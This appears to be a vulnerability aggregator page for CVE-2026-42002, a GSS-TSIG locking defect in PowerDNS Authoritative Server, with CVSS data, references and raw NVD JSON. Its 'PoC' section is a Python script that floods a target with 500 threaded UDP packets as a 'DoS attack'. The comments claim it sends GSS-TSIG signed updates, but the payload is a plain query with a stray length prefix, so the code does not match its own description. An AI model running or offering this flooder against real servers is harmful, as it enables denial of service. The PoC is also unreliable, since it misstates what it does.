CVE-2026-42002

Description

Concurrency and locking defects in GSS-TSIG

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

PowerDNS Authoritative Server 4.8.x

PowerDNS Authoritative Server 4.7.x

PowerDNS Authoritative Server < 4.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-42002: PowerDNS GSS-TSIG Race Condition
# This script sends concurrent GSS-TSIG signed updates to trigger the locking defect.

import socket
import threading
import time

TARGET_IP = "127.0.0.1"
TARGET_PORT = 53
PAYLOAD = b"\x00\x1e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03example\x03com\x00\x00\x06\x00\x01" # Simplified DNS packet structure

def send_packet():
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        sock.sendto(PAYLOAD, (TARGET_IP, TARGET_PORT))
        sock.close()
    except Exception as e:
        print(f"Error sending packet: {e}")

def main():
    print(f"[*] Starting DoS attack against {TARGET_IP}:{TARGET_PORT}...")
    threads = []
    # Spawn multiple threads to simulate concurrency and race condition
    for i in range(500):
        t = threading.Thread(target=send_packet)
        threads.append(t)
        t.start()
    
    for t in threads:
        t.join()
    
    print("[*] Attack packets sent.")

if __name__ == "__main__":
    main()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42002
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42002
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42002/
[4] VulDB https://vuldb.com/cve/CVE-2026-42002
[5] https://docs.powerdns.com/authoritative/security-advisories/powerdns-advisory-powerdns-2026-06.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42002", "sourceIdentifier": "[email protected]", "published": "2026-05-21T10:16:25.800", "lastModified": "2026-05-21T15:27:51.530", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Concurrency and locking defects in GSS-TSIG"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-364"}]}], "references": [{"url": "https://docs.powerdns.com/authoritative/security-advisories/powerdns-advisory-powerdns-2026-06.html", "source": "[email protected]"}]}}